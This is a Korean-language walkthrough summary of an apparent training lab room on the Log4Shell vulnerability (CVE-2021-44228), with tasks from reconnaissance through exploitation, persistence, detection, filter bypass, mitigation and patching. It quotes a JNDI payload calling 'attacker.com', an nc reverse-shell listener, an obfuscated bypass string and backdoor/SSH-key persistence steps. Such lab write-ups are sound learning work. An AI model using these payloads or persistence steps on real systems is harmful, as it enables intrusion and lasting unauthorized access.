
이 방은 악명 높은 Log4j 취약점(CVE-2021-44228)인 Log4Shell을 악용하는 것을 기반으로 합니다. 이 취약점은 공격자가 로그 메시지에 악성 페이로드를 주입하여 원격 코드를 실행할 수 있게 합니다.
이 방은 악명 높은 Log4j 취약점(CVE-2021-44228, 일명 Log4Shell)을 악용하는 데 기반을 두고 있습니다. 이 약점은 공격자가 로그 메시지에 악성 페이로드를 주입하여 원격 코드를 실행할 수 있게 합니다.
TASK 1 – CVE-2021-44228 소개
이 태스크에서는 Apache Log4j의 Log4Shell 취약점(CVE-2021-44228)에 대해 배웠습니다. • Log4j는 널리 사용되는 Java 로깅 라이브러리입니다. • 이 취약점은 JNDI 조회를 통해 원격 코드 실행(RCE)을 허용합니다. • 공격자는 다음과 같은 페이로드를 주입할 수 있습니다: ${jndi:ldap://attacker.com/a} • 로깅될 때 서버는 공격자가 제어하는 서버에 접속하여 악성 코드를 실행합니다. 👉 이는 사용자 입력을 정제 없이 로깅하는 것이 얼마나 위험한지 보여줍니다.
TASK 2 – 정찰
여기서는 대상 시스템과 상호 작용을 시작했습니다. • 웹 애플리케이션에 접속했습니다. • 로깅될 수 있는 입력 필드와 헤더를 식별했습니다. • 애플리케이션이 사용자 입력을 처리하는 방식을 관찰했습니다. 👉 목표: Log4j가 사용되는 곳과 페이로드를 주입할 수 있는 위치를 찾습니다.
TASK 3 – 발견
이 단계에서는 취약점을 확인했습니다. • 다음과 같은 헤더에서 페이로드 주입을 테스트했습니다: • User-Agent • X-Forwarded-For • 외부 연결 또는 응답을 확인했습니다. 👉 이는 애플리케이션이 Log4Shell에 취약하다는 것을 검증하는 데 도움이 되었습니다.
TASK 4 – 개념 증명
취약점을 입증하기 위해 작동하는 PoC를 만들었습니다. • 콜백을 감지할 리스너/서버를 설정했습니다. • JNDI 페이로드를 주입했습니다. • 대상이 내 서버에 요청을 보내는 것을 관찰했습니다. 👉 이는 원격 상호 작용을 확인 → 취약점이 악용 가능함을 의미합니다.
TASK 5 – 악용
여기서는 PoC에서 본격적인 악용으로 확장했습니다. • 악성 페이로드(Java 클래스 또는 스크립트)를 호스팅했습니다. • JNDI 주입을 사용하여 서버가 이를 로드하도록 강제했습니다. • 리버스 셸을 획득했습니다. 예시: nc -lvnp 4444 👉 원격 코드 실행에 성공했습니다.
TASK 6 – 지속성
접근 권한을 획득한 후, 지속적인 접근을 보장했습니다. • 백도어를 생성하거나 SSH 키를 추가했습니다. • 필요한 경우 시스템 구성을 수정했습니다. 👉 이는 재부팅이나 세션 손실 후에도 접근을 보장합니다.
TASK 7 – 탐지
이 태스크는 공격 식별에 중점을 두었습니다. • Log4j 악용이 로그에 나타나는 방식을 배웠습니다. • 지표: • ${jndi:ldap://...} 패턴 • 의심스러운 외부 LDAP/DNS 트래픽 👉 블루 팀이 악용 시도를 탐지하는 데 중요합니다.
TASK 8 – 우회
여기서는 공격자가 필터를 우회하는 방법을 살펴보았습니다. • 난독화 기법: ${${lower:j}${lower:n}${lower:d}${lower:i}:...} • 탐지를 회피하기 위한 인코딩 페이로드 👉 이는 단순한 필터링만으로는 충분하지 않음을 보여줍니다.
TASK 9 – 완화
전체 패치 없이 위험을 줄이는 방법을 배웠습니다. • JNDI 조회 비활성화 • 외부 네트워크 연결 제한 • WAF 규칙 사용 👉 적절한 패치 전의 임시 방어책입니다.
TASK 10 – 패치
영구적인 수정에 중점을 두었습니다. • Log4j 업데이트: • 2.17.0 이상 • 취약한 클래스 제거: JndiLookup.class 👉 적절한 패치는 취약점을 완전히 제거합니다.
TASK 11 – 크레딧 및 작성자 메모
• 방 제작자에 대한 감사 인사. • 학습 목표 요약. • Log4Shell의 영향에 대한 최종 통찰.
최종 생각
이 방을 통해 다음에 대한 완전한 이해를 얻었습니다: • 중요한 실제 취약점이 어떻게 작동하는지 • 공격자가 이를 단계별로 어떻게 악용하는지 • 방어자가 이를 어떻게 탐지하고 예방하는지 👉 사이버보안 역사상 가장 영향력 있는 취약점 중 하나에 대한 훌륭한 실습 경험이었습니다.